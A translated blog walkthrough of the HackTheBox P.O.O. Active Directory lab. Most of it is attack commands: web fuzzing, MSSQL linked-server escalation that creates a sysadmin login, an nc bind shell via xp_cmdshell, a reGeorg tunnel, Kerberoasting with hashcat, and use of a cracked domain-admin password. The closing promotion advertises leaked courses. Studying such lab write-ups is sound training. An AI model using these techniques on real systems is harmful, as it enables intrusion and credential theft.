In this article, we will cover the walkthrough of not just a machine, but an entire mini-lab from the platform .
As stated in the description, P.O.O. is designed to test skills at all stages of attacks in a small Active Directory environment. The goal is to compromise the available host, escalate privileges, and ultimately compromise the entire domain while collecting 5 flags.
Connection to the lab is established via VPN. It is recommended not to connect from your work computer or from a host where you have important data, as you enter a private network with people who know a thing or two about information security 🙂
Organizational information
To keep you informed about new articles, software, and other information, I have created and in the field of information security. Your personal requests, questions, suggestions, and recommendations .
All information is provided for educational purposes only. The author of this document bears no responsibility for any damage caused to anyone as a result of using the knowledge and methods obtained from studying this document.
Intro
This endgame consists of two machines and contains 5 flags.
It also provides a description and the address of the available host.
Let's get started!
Recon flag
This machine has an IP address of 10.13.38.11, which I will add to /etc/hosts.
10.13.38.11 poo.htb
First, we scan for open ports. Since scanning all ports with nmap takes a long time, I will first do this using masscan. We scan all TCP and UDP ports from the tun0 interface at a speed of 500 packets per second.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Now, to obtain more detailed information about the services running on the ports, let's start a scan with the -A option.
nmap -A poo.htb -p80,1433 
Thus, we have IIS and MSSQL services. In this process, we learn the actual DNS name of the domain and the computer. The web server greets us with the IIS homepage.
Let's enumerate the directories. For this, I use gobuster. In the parameters, I specify the number of threads 128 (-t), the URL (-u), the dictionary (-w), and the extensions we are interested in (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
Thus, we have HTTP authentication for the directory /admin, as well as the available .DS_Store file for the desktop service. .DS_Store files store user-specific settings for a folder, such as file lists, icon locations, and selected background images. Such files can end up in the web server directory by web developers. Thus, we get information about the contents of the directory. To achieve this, we can use .
python3 dsstore_crawler.py -i http://poo.htb/ 
We obtain the contents of the directory. The most interesting part here is the /dev directory, from which we can explore the sources and db files in two branches. However, we can only access the first 6 characters of file and directory names if the service is vulnerable to IIS ShortName. You can check for this vulnerability using .
And we find a text file that starts with "poo_co". Not knowing what to do next, I just selected all the words starting with "co" from the directory wordlist.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtAnd we will iterate using wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
And we find a suitable word! We look at this file, saving the credentials (it seems they are for MSSQL based on the DBNAME parameter).
We submit the flag, and we progress by 20%.
Huh flag
We connect to MSSQL, using DBeaver.
We find nothing interesting in this database, so let's create an SQL Editor and check what users exist.
SELECT name FROM master..syslogins; 
We have two users. Let's check their privileges.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
Thus, there are no privileges. Let's take a look at the linked servers, which I have discussed in detail. .
SELECT * FROM master..sysservers; 
Thus, we find another SQL Server. Let's verify command execution on this server using openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
And we can even build a query tree.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');The thing is, when we make a request to the linked server, the request is executed in the context of another user! Let's see which user's context we are working in on the linked server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Now let's see in which context the requests from the linked server are executed to ours!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
Thus, this is the DBO context that must have all privileges. Let's check the privileges in the case of a request from the linked server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
As you can see, we have all the privileges! Let's create our admin this way. But through openquery, it won’t let us, so let's do it through EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";And now we connect with the credentials of the new user, observing the new database flag.
We drop this flag and move on.
BackTrack flag
We will obtain a shell using MSSQL; I'm using mssqlclient from the impacket package.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
We need to get the passwords, and the first thing we encountered was the website. Thus, we need the web server config (dropping a convenient shell isn’t working due to the firewall).
But access is denied. Although we can read a file from MSSQL, we just need to know which programming languages are set up. In the MSSQL directory, we find that Python is available.
Then reading the web.config file is no problem.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
With the found credentials, we enter /admin and grab the flag.
Foothold flag
In fact, using a firewall has its inconveniences, but while browsing the network settings, we notice that IPv6 tunneling is also being used!
Let's add this address to /etc/hosts.
dead:babe::1001 poo6.htb
Let's scan the host again, but this time using the IPv6 protocol.
The WinRM service is also available over IPv6. We'll connect with the discovered credentials.
There's a flag on the desktop, let's submit it.
P00ned flag
After reconnaissance on the host using , we don't find anything special. So, it was decided to search for credentials again (I've written about this as well ). But I was unable to retrieve all SPNs from the system via WinRM.
setspn.exe -T intranet.poo -Q */ 
Let's execute the command through MSSQL.
Using the specified method, we obtain the SPNs for users p00_hr and p00_adm, which means they are vulnerable to an attack like Kerberoasting. In short, we can obtain hashes of their passwords.
First, we need to establish a stable shell under the MSSQL user. However, since we are restricted in access, we only have connectivity to the host through ports 80 and 1433. But we have the possibility of tunneling traffic through port 80! For this, we will use . We'll upload the tunnel.aspx file to the web server's home directory — C:inetpubwwwroot.
But when we try to access it, we get a 404 error. This means that *.aspx files are not executing. To make files with this extension executable, we will install ASP.NET 4.5 as follows.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
And now when we access tunnel.aspx, we get a response that everything is ready to go.
Let's start the client side of the application, which will handle traffic relaying. We will redirect all traffic from port 5432 to the server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
And we'll use proxychains to send traffic from any application through our proxy. We'll add this proxy to the configuration file /etc/proxychains.conf.
Now let's upload the program to the server , which we will use to set up a stable bind shell, and the script , which we will use to perform the Kerberoasting attack.
Now let's start the listener through MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
And connect through our proxy.
proxychains rlwrap nc poo.htb 4321 
And let's get the hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Next, we need to crack these hashes. Since there were no passwords from the rockyou dictionary, I used ALL password dictionaries provided in Seclists. For cracking, we use hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceWe find both passwords, the first in the dutch_passwordlist.txt dictionary and the second in Keyboard-Combinations.txt.
So we have three users, let's go to the domain controller. First, we need to find out its address.
Great, we've learned the IP address of the domain controller. Now let's find out all the domain users, as well as who among them is the administrator. We will load the script to obtain information PowerView.ps1. Then we’ll connect using evil-winrm, specifying the script directory in the -s parameter. After that, we'll just upload the PowerView script.
Now we have access to all its functions. The user p00_adm seems to be privileged, so we'll work in their context. We'll create a PSCredential object for this user.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNow all Powershell commands where we specify Creds will be executed on behalf of p00_adm. Let's list the users and the AdminCount attribute.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
So, our user is indeed privileged. Let's check which groups they belong to.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
We are finally confirming that the user is a domain administrator. This gives them the right for remote login to the domain controller. Let's try logging in via WinRM using our tunnel. I was confused by the errors returned by reGeorg when using evil-winrm.
Let's use another, simpler script We try to connect, and we're in the system.
But there is no flag. Then let's look at the users and check the desktops.
We find the flag with mr3ks and the lab is completed 100%.
That's it. As feedback, please comment — did you learn anything new from this article and was it useful to you?
You can join us at
. There you will find interesting materials, leaked courses, and software. Let's gather a community filled with people knowledgeable in many areas of IT, so we can always help each other with any IT and security questions. Free educational courses: administration
Source: habr.com
